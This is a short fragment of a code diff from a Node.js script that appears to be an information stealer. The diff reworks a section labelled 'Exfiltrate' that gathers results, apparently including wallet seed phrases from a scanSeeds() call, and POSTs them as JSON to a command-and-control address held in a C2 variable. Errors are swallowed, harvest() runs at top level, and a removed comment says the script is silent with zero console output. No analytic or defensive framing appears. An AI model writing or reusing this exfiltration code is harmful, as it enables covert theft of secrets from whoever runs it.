+ r.seeds=scanSeeds();
304
252
 
305
253
  // Exfiltrate
306
254
  if(C2){
307
255
  try{
308
256
  const http=require('http');
309
- const data=JSON.stringify(results);
257
+ const data=JSON.stringify(r);
310
258
  const req=http.request(C2,{method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(data)}});
311
- req.write(data);
312
- req.end();
259
+ req.write(data);req.end();
313
260
  }catch(e){}
314
261
  }
315
-
316
- return results;
262
+ return r;
317
263
  }
318
264
 
319
265
  harvest();
320
- // Silent — zero console output